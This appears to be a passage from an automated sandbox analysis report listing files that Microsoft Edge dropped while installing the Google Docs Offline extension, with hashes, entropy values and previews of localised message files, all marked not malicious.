SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

